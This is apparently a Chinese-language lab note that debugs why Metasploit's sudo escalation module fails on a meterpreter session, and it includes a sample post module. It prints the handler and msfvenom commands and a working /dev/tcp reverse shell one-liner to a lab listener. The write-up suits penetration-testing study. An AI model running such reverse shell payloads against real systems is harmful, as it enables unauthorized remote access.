起因:sudo -s提权在msf上一直报错,但是在靶机上是可以成功提权的。
msf有一个模块,叫做post/multi/manage/sudo
看过这个模块的源码,就是使用sudo -s来提权的。
为什么会提权失败呢?
环境配置复现,debug
设置msf监听
handler -H 192.168.123.123 -P 6677 -p cmd/unix/reverse_bash
生成反弹shell的载荷
| msfvenom -p cmd/unix/reverse_bash lhost=192.168.123.123 lport=6677 -f raw
0<&165-;exec 165<>/dev/tcp/192.168.123.123/6677;sh <&165 >&165 2>&165
|
使用上一条命令获得一个shell cmd/unix
类型的shell以后,可以使用session -u session的ID
这种方式,获得一个meterpreter x86/linux
的session。
使用meterpreter的session,执行post/multi/manage/sudo
提权载荷,会报错。
| [!] SESSION may not be compatible with this module.
|
使用shell cmd/unix
的载荷不会报错。
查看源码
| vi /usr/share/metasploit-framework/modules/post/multi/manage/sudo.rb
在第32行,如果没有meterpreter这一个关键字,那么就只支持shell类型的session
'SessionTypes' => [ 'meterpreter', 'shell' ]
|
如何写一个msf插件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##
class MetasploitModule < Msf::Post include Msf::Post::Windows::WMIC
def initialize(info={}) super( update_info( info, 'Name' => 'Windows Gather Run Specified WMIC Command', 'Description' => %q{ This module will execute a given WMIC command options or read WMIC commands options from a resource file and execute the commands in the specified Meterpreter session.}, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] ))
register_options( [ OptPath.new('RESOURCE', [false, 'Full path to resource file to read commands from.']), OptString.new('COMMAND', [false, 'WMIC command options.']), ]) end
# Run Method for when run command is issued def run print_status("Executing command") command = wmic_query("useraccount get name") puts command end end
|